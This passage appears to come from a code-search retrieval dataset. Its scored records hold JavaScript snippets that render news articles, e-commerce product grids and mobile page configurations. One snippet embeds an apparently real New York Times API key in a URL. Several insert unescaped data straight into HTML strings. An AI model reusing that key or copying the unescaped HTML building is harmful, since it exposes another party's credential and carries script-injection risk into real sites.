"0.5448008", "text": "function displayTopics() {\n $(\"#articles\").html(\"\");\n var queryURL = \"https://api.nytimes.com/svc/search/v2/articlesearch.json?api-key=b878d19230834a629ac5664c8efc2ee7&q=\" + searchKey + \"&begin_date=\"+ sYear + \"0101&end_date=\"+ eYear + \"1230&page=0\"\n\n $.ajax({\n url: queryURL,\n method: 'GET'\n }).done(function(data) {\n\n $(\"#articles\").append(\"Here are \" + records + \" articles about '\" + searchKey + \"'\").addClass(\"articleLength\");\n\n for (var i = 0; i < records ; i++) {\n var record = $(\"<li>\").addClass(\"record list-group-item\");\n record.append(\"<a class='articleHeader' href=\" + data.response.docs[i].web_url + \">\" + (i+1) + \". \" + data.response.docs[i].headline.main + \"</a>\");\n record.append(\"<p class='articleAuthor'>\" + data.response.docs[i].byline.original + \"</p>\");\n\n var articles = $(\"#articles\");\n articles.append(record);\n }\n });\n }", "title": "" }, { "docid": "858eccf9911a7c1d87e450cca5387308", "score": "0.544048", "text": "function showCategorie2(dd) {\n var i = 0;\n $(\".promohtml\").html(\"\");\n //append the articles by categories\n for (index = 0; index < promoArticle.length; index++) {\n if (promoArticle[index].idcategorie == dd.id) {\n $(\".promohtml\").append(\n \"<li class='span3'>\" +\n \" <div class='thumbnail'>\" +\n \" <a href='product_details.php?id=\" +\n promoArticle[index].reference +\n \"'><img style='height:100px' src='AdminLogin/images/\" +\n promoArticle[index].imageArt +\n \"' alt='' /></a>\" +\n \" <div class='caption'><h5>\" +\n promoArticle[index].designation +\n \"</h5>\" +\n \" <h4 style='text-align:center'><a class='btn zoom' id='\" +\n promoArticle[index].reference +\n \"' href='product_details.php?id=\" +\n promoArticle[index].reference +\n \"'> <i\" +\n \" class='icon-zoom-in'></i></a> <a class='btn' onclick='addTocart(this,\" +\n promoArticle[index].Nouveauxprix +\n \")' id='\" +\n promoArticle[index].reference +\n \"'><span class='languageAddTo'>Add to</span> <i class='icon-shopping-cart'></i></a>\" +\n \"<br><button class='btn btn-warning' disabled id='\" +\n promoArticle[index].reference +\n \"' >DH \" +\n promoArticle[index].Nouveauxprix +\n \"</button></h4></div></div></li>\"\n );\n i = i + 1;\n }\n }\n //message if there's no article in the selected categorie\n if (i == 0) {\n $(\".promohtml\").append(\n \"<div class='alert alert-danger languageNoItemToDisplay' role='alert'>\" +\n \"No Items To Display! </div>\"\n );\n }\n changeLanguage();\n}", "title": "" }, { "docid": "5fbcbe5e67b2dc50ac1e2214ff180f2b", "score": "0.5437897", "text": "function pwLoadPage(index) {\n var startitem = (index*pwProductsPerPage);\n var enditem = (index*pwProductsPerPage)+(pwProductsPerPage-1);\n\n if(enditem >= pwProductAmount) {\n enditem = pwProductAmount-1;\n }\n\n var html = [];\n\n for (var i=startitem; i <= enditem; i++) {\n var item = packages[currentSelection[i]];\n html.push('<div id=\"' + item.id + '\" class=\"item\" data-index=\"' + currentSelection[i] + '\"><a href=\"#\"><img src=\"\"></a><div class=\"extra-info\"><h3>' + item.name + '</h3><p>' + (item.type_sub + \" \" + item.volume_units) + '<br>' + item.category_sub + '<br>' + item.geo_country + '</p></div></div>');\n }\n $('#result-inner .page').html(html.join(''));\n\n if($('#result').hasClass('oneline')) {\n var imageSuffix = settings.imagesuffix.oneline;\n } else if($('#result').hasClass('twoline')) {\n var imageSuffix = settings.imagesuffix.twoline;\n } else {\n var imageSuffix = settings.imagesuffix.threeline;\n }\n\n setLeftClasses();\n\n $('#result-inner').find('.item').each(function(){\n var item = $(this);\n if(item.find('img').attr('src') == '') {\n var id = $(this).attr('id').substring(1);\n $(this).find('img').attr('src', settings.imagepath + id + imageSuffix);\n }\n var time = Math.random()*500;\n setTimeout(function() {\n item.find('img').animate({\n 'opacity' : 1\n }, 300);\n }, time);\n $(this).find('a').click(function(e){\n var object = {};\n object.id = $(this).parent().attr('id');\n object.index = $(this).parent().attr('data-index');\n object.action = 'loadsingle';\n\t if(settings.useHistory)\n\t {\n\t \tHistory.pushState(object, '', '?package=' + object.id);\n\t }\n\t else\n\t {\n\t \tcurrentItemID = object.id;\n\t \tpwOpenSingleProduct(object.index);\n\t } \n e.preventDefault();\n });\n });\n\n // Vertical align extra-info tooltip\n $('.extra-info').each(function() {\n $this = $(this);\n $this.css('margin-top', -$this.height()/2+'px');\n $this.addClass('height-calculated');\n })\n\n $('.extra-info').mousemove(function(e) {\n var $this = $(this),\n parent = $this.parent(),\n img = $(parent.find('img')[0]),\n leftOffset = parent.offset().left+parent.width();\n\n img.addClass('active');\n\n if( e.clientX > leftOffset || e.clientX < parent.offset().left ) {\n $this.hide();\n img.removeClass('active');\n setTimeout(function() {$this.show() }, 100 )\n }\n\n })\n\n pwBuildPager(parseInt(index, 10));\n }", "title": "" }, { "docid": "cd1c54800c6c56bbc96da87690c47ccb", "score": "0.5435215", "text": "function showPages() {\n\tvar pages = getPages();\n\tvar formHTML = \"<ul>\";\n\tfor (var i = 0; i < pages.length; i++)\n\t{\n\t\tformHTML = formHTML + '<li id=\"li_' + i +'\">' + pages[i].title + ' <button id=\"bt_' + i + '\" onclick=\"selectPage(' + i + ')\">Edit</button></li>';\n\t}\n\tformHTML = formHTML + \"</ul>\";\n\t$( \"div#pagesList\" ).html(formHTML);\n}", "title": "" }, { "docid": "9b10867f82baf46352875357db03ebbc", "score": "0.5425292", "text": "function getArticles() {\n if (\n window.location.href.indexOf(\"index.php\") > -1 || window.location.href.indexOf(\"/\") > -1 ||\n window.location.href.indexOf(\"promo_articles.php\") > -1\n ) {\n $.getJSON(\"AdminLogin/indexPhp.php\", function (data) {\n // append latest articles --------------------------------\n if (data[0].length > 0) {\n $.each(data[0], function (key, val) {\n var article = new Article(\n val.reference,\n val.designation,\n val.descriptions,\n val.prix1,\n val.prix1,\n val.imageArt,\n val.seul,\n val.idcategorie,\n val.datePublication\n );\n latestArticle.push(article);\n $(\".latestProductsThumbnail\").append(\n \"<li class='span3 articles '>\" +\n \" <div class='thumbnail'>\" +\n \" <a href='product_details.php?id=\" +\n val.reference +\n \"'><img style='height:100px' src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='' /></a>\" +\n \" <div class='caption'><h5>\" +\n val.designation +\n \"</h5> \" +\n \" <h4 style='text-align:center'><a class='btn btn-Light zoom' href='product_details.php?id=\" +\n val.reference +\n \"'> <i\" +\n \" class='icon-zoom-in'></i></a> <button class='btn btn-Light' onclick='addTocart(this,\" +\n val.prix1 +\n \")' id='\" +\n val.reference +\n \"'><span class='languageAddTo'>Add to</span> <i class='icon-shopping-cart'></i></button>\" +\n \" <br> <button class='btn btn-danger price' disabled id='\" +\n val.reference +\n \"' >DH \" +\n val.prix1 +\n \"</button></h4></div></div></li>\"\n );\n $(\"#languages\").append(\"<option>\" + val.designation + \"</option>\");\n });\n } else {\n $(\".latestProductsThumbnail\").append(\n \"<div class='alert alert-danger languageNoItemToDisplay' role='alert'>\" +\n \"No Items To Display! </div>\"\n );\n changeLanguage();\n }\n //-- if the cart is localy stored . check if prices changed\n for (var i = 0; i < latestArticle.length; i++) {\n for (var j = 0; j < cart.length; j++) {\n if (latestArticle[i].reference == cart[j]) {\n price = price + parseFloat(latestArticle[i].prix1);\n $(\".cartPrice\").html(price);\n }\n }\n }\n\n // append promo articles --------------------------------\n\n $.each(data[1], function (key, val) {\n var article = new Article(\n val.reference,\n val.designation,\n val.descriptions,\n val.prix1,\n val.Nouveauxprix,\n val.imageArt,\n val.seul,\n val.idcategorie,\n val.datePublication\n );\n promoArticle.push(article);\n if (promoCount == 0) {\n if (next == 0) {\n $(\".carouselPromo\").append(\n \"<div class='item active'><ul class='thumbnails promo\" +\n promoCount +\n \" '></ul></div>\"\n );\n }\n $(\".promo\" + promoCount + \"\").append(\n \"<li class='span3'><div class='thumbnail t1'><i class='tag'></i>\" +\n \"<a href='product_details.php?id=\" +\n val.reference +\n \"'><img width='100px' height='100px' src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='\" +\n val.designation +\n \"'></a>\" +\n \"<div class='caption'><h5>\" +\n val.designation +\n \"</h5>\" +\n \"<h4><a class='btn' href='product_details.php?id=\" +\n val.reference +\n \"'>VIEW</a> <span \" +\n \"class='pull-right'>\" +\n val.Nouveauxprix +\n \" \" +\n \"Dh </span></h4></div></div></li> \"\n );\n next = next + 1;\n if (next == promoCount + 4) {\n promoCount = 4;\n }\n } else {\n if (promoCount % next == 0) {\n $(\".carouselPromo\").append(\n \"<div class='item '><ul class='thumbnails promo\" +\n promoCount +\n \" '></ul></div>\"\n );\n } else {\n $(\".promo\" + promoCount + \"\").append(\n \"<li class='span3'><div class='thumbnail t1'><i class='tag'></i>\" +\n \"<a href='product_details.php?id=\" +\n val.reference +\n \"'><img width='100px' height='100px' src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='\" +\n val.designation +\n \"'></a>\" +\n \"<div class='caption'><h5>\" +\n val.designation +\n \"</h5>\" +\n \"<h4><a class='btn' href='product_details.php?id=\" +\n val.reference +\n \"'>VIEW</a> <span \" +\n \"class='pull-right'>\" +\n val.Nouveauxprix +\n \" \" +\n \"Dh </span></h4></div></div></li> \"\n );\n }\n next = next + 1;\n if (next == promoCount + 4) {\n promoCount = promoCount + 4;\n }\n }\n });\n //---------page promo articles --------\n $.each(data[1], function (key, val) {\n $(\".promohtml\").append(\n \"<li class='span3'>\" +\n \" <div class='thumbnail'>\" +\n \" <a href='product_details.php?id=\" +\n val.reference +\n \"'><img style='height:100px' src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='' /></a>\" +\n \" <div class='caption'><h5>\" +\n val.designation +\n \"</h5>\" +\n \" <h4 style='text-align:center'><a class='btn zoom' href='product_details.php?id=\" +\n val.reference +\n \"'> <i\" +\n \" class='icon-zoom-in'></i></a> <button class='btn' onclick='addTocart(this,\" +\n val.Nouveauxprix +\n \")' id='\" +\n val.reference +\n \"'><span class='languageAddTo'>Add to</span> <i class='icon-shopping-cart'></i></button>\" +\n \" <br> <button class='btn btn-warning price' disabled id='\" +\n val.reference +\n \"' >DH \" +\n val.Nouveauxprix +\n \"</button></h4></div></div></li>\"\n );\n $(\"#languages\").append(\"<option>\" + val.designation + \"</option>\");\n });\n //nombre article en promotion page promo article\n $(\"#count\").html(promoArticle.length);\n });\n }\n //points article------------------------------------\n if (window.location.href.indexOf(\"points.php\") > -1) {\n try {\n if (sessionEmail != \"none\") {\n \n $.getJSON(\"AdminLogin/pointsPhp.php\", function(data) {\n // append points articles --------------------------------\n \n if (data.length > 0) {\n $.each(data, function (key, val) {\n if (parseInt(val.nombrePoints) <= parseInt(points)) {\n $(\".pointshtml\").append(\n \"<li class='span3 articles'>\" +\n \" <div class='thumbnail'>\" +\n \" <a href='product_details.php?id=\" +\n val.reference +\n \"'><img style='height:100px' src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='' /></a>\" +\n \" <div class='caption'><h5>\" +\n val.designation +\n \"</h5> \" +\n \" <h4 style='text-align:center'><a class='btn btn-Light zoom' href='product_details.php?id=\" +\n val.reference +\n \"'> <i\"+\n \" class='icon-zoom-in'></i></a> <button class='btn' onclick='addToPointsCart(this,\" +\n val.nombrePoints +\n \")' id='\" +\n val.reference +\n \"'><span class='languageAddTo'>Add to</span> <i class='icon-shopping-cart'></i></button>\" +\n \" <br> <button class='btn btn-danger points' disabled > \" +\n val.nombrePoints +\n \" Points </button></h4></div></div></li>\"\n );\n } else {\n $(\".pointshtml\").append(\n \"<li class='span3 articles '>\" +\n \" <div class='thumbnail'>\" +\n \" <a href='product_details.php?id=\" +\n val.reference +\n \"'><img style='height:100px' src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='' /></a>\" +\n \" <div class='caption'><h5>\" +\n val.designation +\n \"</h5> \" +\n \" <h4 style='text-align:center'><a class='btn btn-Light zoom' href='product_details.php?id=\" +\n val.reference +\n \"'> <i\" +\n \" class='icon-zoom-in'></i></a> <button style='opacity:0.4;' class='btn btn-Light' id='\" +\n val.reference +\n \"'><span class='languageAddTo'>Add to</span> <i class='icon-shopping-cart'></i></button>\" +\n \" <br> <button class='btn btn-danger points' disabled > \" +\n val.nombrePoints +\n \" Points </button></h4></div></div></li>\"\n );\n }\n pointArticleLength += 1;\n });\n $(\"#countPoint\").html(pointArticleLength);\n }\n });\n }\n else{\n $.getJSON(\"AdminLogin/pointsPhp.php\", function (data) {\n //------------page point articles ---------------\n if (data.length > 0) {\n $.each(data, function (key, val) {\n $(\".pointshtml\").append(\n \"<li class='span3 articles '>\" +\n \" <div class='thumbnail'>\" +\n \" <a href='product_details.php?id=\" +\n val.reference +\n \"'><img style='height:100px' src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='' /></a>\" +\n \" <div class='caption'><h5>\" +\n val.designation +\n \"</h5> \" +\n \" <h4 style='text-align:center'><a class='btn btn-Light zoom' href='product_details.php?id=\" +\n val.reference +\n \"'> <i\" +\n \" class='icon-zoom-in'></i></a> <button style='opacity:0.4;' class='btn btn-Light' id='\" +\n val.reference +\n \"'><span class='languageAddTo' >Add to</span> <i class='icon-shopping-cart'></i></button>\" +\n \" <br> <button class='btn btn-danger points' disabled > \" +\n val.nombrePoints +\n \" Points </button></h4></div></div></li>\"\n );\n });\n }\n });\n }\n } catch {\n $.getJSON(\"AdminLogin/pointsPhp.php\", function (data) {\n //------------page point articles ---------------\n if (data.length > 0) {\n $.each(data, function (key, val) {\n $(\".pointshtml\").append(\n \"<li class='span3 articles '>\" +\n \" <div class='thumbnail'>\" +\n \" <a href='product_details.php?id=\" +\n val.reference +\n \"'><img style='height:100px' src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='' /></a>\" +\n \" <div class='caption'><h5>\" +\n val.designation +\n \"</h5> \" +\n \" <h4 style='text-align:center'><a class='btn btn-Light zoom' href='product_details.php?id=\" +\n val.reference +\n \"'> <i\" +\n \" class='icon-zoom-in'></i></a> <button style='opacity:0.4;' class='btn btn-Light' id='\" +\n val.reference +\n \"'><span class='languageAddTo' >Add to</span> <i class='icon-shopping-cart'></i></button>\" +\n \" <br> <button class='btn btn-danger points' disabled > \" +\n val.nombrePoints +\n \" Points </button></h4></div></div></li>\"\n );\n });\n }\n });\n }\n }\n}", "title": "" }, { "docid": "022cd4387a67080bc12c46327bcc95fe", "score": "0.54224545", "text": "function display(data) {\n var pages = data.query.pages\n var link = \"https://en.wikipedia.org/?curid=\";\n for(object in pages) {\n var id = pages[object].pageid\n\n $(\".results\").append(`<a href=\"${link+id}\"><div class=\"item\"><h6>${pages[object].title}</h6><p class=\"extract\">${pages[object].extract}</p></div></a>`);\n\n }\n}", "title": "" }, { "docid": "4693f1c062ce734759d59c9645324831", "score": "0.5410992", "text": "getArticleContents(data) {\n let numArticles = 0;\n let numLists = 0;\n for (let item of data) {\n if (item instanceof Article) {\n numArticles++;\n }\n if (item instanceof ItemList) {\n numLists++;\n }\n }\n\n if (numArticles == 0 && numLists > 0) {\n return this.getItemLists(data);\n }\n\n return data\n .map(function (element, key) {\n if (element instanceof Article) {\n return <ArticleElement data={element} key={key}/>;\n }\n });\n }", "title": "" }, { "docid": "0e31e573e61e3d12ce01d86347bd42fc", "score": "0.5407885", "text": "function getPages()\n{\n\t//add each page to view in app\n\t//Examples:\n\t//for adding a header:\n\t////\"header\":{\n\t////\t\"url\":\"pages/general/header.html\",\n\t////\t\"left\":\"<a></a>\",\n\t////\t\"center\":\"<a></a>\",\n\t////\t\"right\":\"<a></a>\"\n\t////}\n\t//for adding a panel:\n\t////\"leftPanel\":{\n\t////\t\"id\":\"nav-panel\",\n\t////\t\"url\":\"pages/general/left_panel.html\"\n\t////}\n\t//for adding dialogs, you can add more then one\n\t////\"popup\":[\n\t//// {\n\t//// \t \"url\":\"pages/general/popup.html\",\n\t//// \t \"id\":\"dialog\", \n\t//// \t \"header\":\"myHeader\", \n\t//// \t \"title\":\"Hi Dialog!\", \n\t//// \t \"content\":\"You have to insert your own content here\", \n\t//// \t \"okButton\":{\"action\":\"alert('ok button action');\",\"location\":\"#login\",\"text\":\"OK\"}, \n\t//// \t \"cancelButton\":{\"action\":\"alert('cancel button action');\",\"location\":\"\",\"text\":\"Cancel\"}\n\t//// }\n\t//// ]\n\treturn [\n\t\t\t{\"id\":\"profile\", \"url\":\"pages/profile/user.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 id='aUser'>User</h2>\",\n\t\t\t \t\"right\":\"<a tag='a' id='save' onclick='validateProfile(); setSGMMDataTransaction(); saveUserMedicalData();' class='ui-btn ui-corner-all ui-icon-check ui-btn-icon-right ui-btn-icon-notext'></a>\"\n\t\t\t },\t\t\t \n\t \t\"leftPanel\":{\n\t \t\t\"id\":\"profileNav\",\n\t \t\t\"url\":\"pages/general/left_panel.html\"\n\t \t}\n\t\t\t},\n\t\t\t{\"id\":\"mechanic\", \"url\":\"pages/profile/mechanic.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 id='aMechanical'>Mecanico</h2>\",\n\t\t\t \t\"right\":\"<a tag='a' id='save' onclick='saveMechanicData();' class='ui-btn ui-corner-all ui-icon-check ui-btn-icon-right ui-btn-icon-notext'></a>\"\n\t\t\t },\t\t\t \n\t \t\"leftPanel\":{\n\t \t\t\"id\":\"mechanicNav\",\n\t \t\t\"url\":\"pages/general/left_panel.html\"\n\t \t}\n\t\t\t},\n\t\t\t{\"id\":\"medical\", \"url\":\"pages/profile/medical.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 id='aMedical'>Medicos</h2>\",\n\t\t\t \t\"right\":\"<a tag='a' id='save' onclick='saveUserMedicalData();' class='ui-btn ui-corner-all ui-icon-check ui-btn-icon-right ui-btn-icon-notext'></a>\"\n\t\t\t },\t\t\t \n\t \t\"leftPanel\":{\n\t \t\t\"id\":\"medicalNav\",\n\t \t\t\"url\":\"pages/general/left_panel.html\"\n\t \t}\n\t\t\t},\n\t\t\t{\"id\":\"policiesContent\", \"url\":\"pages/policy/policiesContent.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a tag='a' lng='vehicles' onClick='backPolicy();' class='ui-btn ui-corner-all ui-icon-arrow-l ui-btn-icon-left'>Vehicles</a>\",\n\t\t\t \t\"center\":\"<h2 lng='vehicle'>Vehicle</h2>\",\n\t\t\t \t\"right\":\"<a tag='a' id='save' onClick='validPolicy();' class='ui-btn ui-corner-all ui-icon-check ui-btn-icon-right ui-btn-icon-notext'></a>\" \n\t\t\t }\n\t\t\t},\n\t\t\t{\"id\":\"showPolicies\", \"url\":\"pages/policy/showPolicies.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 lng='vehicles'>Vehicles</h2>\",\n\t\t\t \t\"right\":\"<a onClick='validNewPolicy();' tag='a' id='save' class='ui-btn ui-corner-all ui-icon-plus ui-btn-icon-right ui-btn-icon-notext'></a>\"\n\t\t\t },\t\t\t \n\t \t\"leftPanel\":{\n\t \t\t\"id\":\"policiesNav\",\n\t \t\t\"url\":\"pages/general/left_panel.html\"\n\t \t}\n\t\t\t},\n\t\t\t{\"id\":\"contactsContent\", \"url\":\"pages/contacts/contactsContent.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='#showContacts' tag='a' id='aContacts' class='ui-btn ui-corner-all ui-icon-arrow-l ui-btn-icon-left'>Contactos</a>\",\n\t\t\t \t\"center\":\"<h2 id='aContact'>Contacto</h2>\",\n\t\t\t \t\"right\":\"<a tag='a' id='save' onclick='validateContact();' class='ui-btn ui-corner-all ui-icon-check ui-btn-icon-right ui-btn-icon-notext'></a>\"\n\t\t\t }\n\t\t\t}, \n\t\t\t{\"id\":\"showContacts\", \"url\":\"pages/contacts/showContacts.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 id='aContacts'>Contactos</h2>\",\n\t\t\t \t\"right\":\"<a tag='a' id='save' onClick='validNewContact();' class='ui-btn ui-corner-all ui-icon-plus ui-btn-icon-right ui-btn-icon-notext'></a>\"\n\t\t\t },\t\t\t \n\t \t\"leftPanel\":{\n\t \t\t\"id\":\"sContactsNav\",\n\t \t\t\"url\":\"pages/general/left_panel.html\"\n\t \t}\n\t\t\t}, \n\t\t\t{\"id\":\"showInsurance\", \"url\":\"pages/contacts/insurance.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 id='aInsurances'>Aseguradoras</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t },\t\t\t \n\t \t\"leftPanel\":{\n\t \t\t\"id\":\"sInsuranceNav\",\n\t \t\t\"url\":\"pages/general/left_panel.html\"\n\t \t}\n\t\t\t},\n\t\t\t{\"id\":\"initial\", \"url\":\"pages/initial.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 lng='report'>Reportar</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t },\n\t\t\t \"leftPanel\":{\n\t\t\t \t\"id\":\"panelInitial\",\n\t\t\t \t\"url\":\"pages/general/left_panel.html\"\n\t\t\t }\n\t\t\t},\n\t\t\t{\"id\":\"sinDetails\", \"url\":\"pages/sinisters/details.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a lng='report' href='#' data-rel='back' class='ui-btn-left ui-btn ui-btn-inline ui-mini ui-corner-all ui-btn-icon-left ui-icon-arrow-l'>Reportar</a>\",\n\t\t\t \t\"center\":\"<h2 lng='pictures'>Fotos</h2>\",\n\t\t\t \t\"right\":\"<a href='#' onclick='enviarExtras();' class='ui-btn ui-corner-all ui-icon-check ui-btn-icon-left ui-btn-icon-notext'></a>\"\n\t\t\t }\n\t\t\t},\n\t\t\t{\"id\":\"sinisterList\", \"url\":\"pages/sinisters/sinisterList.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 id='sinisters'>Siniestros</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t },\n\t\t\t \"leftPanel\":{\n\t\t\t \t\"id\":\"panelSinList\",\n\t\t\t \t\"url\":\"pages/general/left_panel.html\"\n\t\t\t }\n\t\t\t},\n\t\t\t{\"id\":\"theftsList\", \"url\":\"pages/sinisters/theftsList.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 id='thefts'>Robos</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t },\n\t\t\t \"leftPanel\":{\n\t\t\t \t\"id\":\"panelTheftList\",\n\t\t\t \t\"url\":\"pages/general/left_panel.html\"\n\t\t\t }\n\t\t\t},\n\t\t\t{\"id\":\"consultSinister\", \"url\":\"pages/sinisters/consultSinister.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='#' data-rel='back' class='ui-btn-left ui-btn ui-btn-inline ui-mini ui-corner-all ui-btn-icon-left ui-icon-arrow-l'>List</a>\",\n\t\t\t \t\"center\":\"<h2 lng='details'>Details</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t }\n\t\t\t},\n\t\t\t{\"id\":\"signup\", \"url\":\"pages/account/signup.html\"\n\t\t\t},\n\t\t\t{\"id\":\"login\", \"url\":\"pages/account/login.html\"\n\t\t\t},\n\t\t\t{\"id\":\"signin\", \"url\":\"pages/account/signin.html\"\n\t\t\t},\n\t\t\t{\"id\":\"features_a\", \"url\":\"pages/account/features_a.html\"\n\t\t\t},\n\t\t\t{\"id\":\"features_b\", \"url\":\"pages/account/features_b.html\"\n\t\t\t},\n\t\t\t{\"id\":\"features_c\", \"url\":\"pages/account/features_c.html\"\n\t\t\t},\n\t\t\t{\"id\":\"options\", \"url\":\"pages/options/options.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='{leftPanel}' tag='a' class='ui-btn ui-corner-all ui-icon-bars ui-btn-icon-left ui-btn-icon-notext'></a>\",\n\t\t\t \t\"center\":\"<h2 lng='options'>Options</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t },\n\t\t\t \"leftPanel\":{\n\t\t\t \t\"id\":\"panelTheftList\",\n\t\t\t \t\"url\":\"pages/general/left_panel.html\"\n\t\t\t }\n\t\t\t},\n\t\t\t{\"id\":\"about\", \"url\":\"pages/options/about.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='#' data-rel='back' class='ui-btn-left ui-btn ui-btn-inline ui-mini ui-corner-all ui-btn-icon-left ui-icon-arrow-l'>options</a>\",\n\t\t\t \t\"center\":\"<h2 lng='details'>About</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t }\t\t\t\n\t\t\t},\n\t\t\t{\"id\":\"map\", \"url\":\"pages/sinisters/map.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a href='#' data-rel='back' class='ui-btn-left ui-btn ui-btn-inline ui-mini ui-corner-all ui-btn-icon-left ui-icon-arrow-l'>report</a>\",\n\t\t\t \t\"center\":\"<h2 lng='details'>Location</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t }\t\t\t\n\t\t\t},\n\t\t\t{\"id\":\"report\", \"url\":\"pages/sinisters/report.html\", \n\t\t\t\t\"header\":{\n\t\t\t \t\"url\":\"pages/general/header.html\",\n\t\t\t \t\"left\":\"<a lng='report' href='#' data-rel='back' class='ui-btn-left ui-btn ui-btn-inline ui-mini ui-corner-all ui-btn-icon-left ui-icon-arrow-l'>report</a>\",\n\t\t\t \t\"center\":\"<h2 id='titleReport' lng='details'>R.Type</h2>\",\n\t\t\t \t\"right\":\"\"\n\t\t\t }\t\t\t\n\t\t\t}\n\t ];\n\t\n}", "title": "" }, { "docid": "4f54d00bb986b685f50c249d5369ddc9", "score": "0.5401239", "text": "async renderNews() {\n this.addPageFunctionalities();\n const response = await this.controller.getTopNewsApi();\n let data = response.articles;\n this.createCards(data, \"Salvar\", (noticia) => {\n this.clickBotao(noticia);\n });\n }", "title": "" }, { "docid": "f395ef2d7d57f60505cb58267078736c", "score": "0.5391323", "text": "function controlContentList(type){\n\n if(type == \"People\"){\n if(people.results.length) constructProfileList(people);\n }\n else{\n switch(type){\n case \"TV Shows\": if(tv.results.length) constructContentList(tv, \"tv\"); break;\n case \"Movies\": if(movies.results.length) constructContentList(movies, \"movie\"); break;\n case \"Collections\": if(collections.results.length) constructContentList(collections); break;\n }\n }\n\n if(currentList.total_pages > 1) updatePageNumbers();\n}", "title": "" }, { "docid": "55bbe052be20a6fce60efc2b0ef571c3", "score": "0.53885293", "text": "renderArticles() {\r\n return this.state.articles.map(article => (\r\n <Panel\r\n article={article}\r\n key={article._id}\r\n getArticles={this.getArticles}\r\n />\r\n ));\r\n }", "title": "" }, { "docid": "b209e063b963cc76279a3a83c90156b5", "score": "0.53741616", "text": "function pageRelatedFeatures(){\n switch(data.page){\n case \"Home\": loadHomePage(); break;\n case \"Shop\": loadShopPage(); break;\n case \"Contact\": loadContactPage(); break;\n }\n}", "title": "" }, { "docid": "bd12cb04b953741d8be8d699aba32420", "score": "0.5369482", "text": "function renderArticles() {\n $('#articles').empty().html(current.template.loadingTemplate());\n fetchArticles(fetchArticlesSuccess, fetchArticlesError);\n }", "title": "" }, { "docid": "387d75cc90ec50d7ff3ae5cfc13f81e4", "score": "0.53664386", "text": "function addArticles(){\n\t\t\tlet htmlContent = '';\n\t\t\tconst data = JSON.parse(this.responseText);\n\n\t\t\tif(data.response && data.response.docs && data.response.docs.length >1){\n\t\t\t\thtmlContent = '<ul 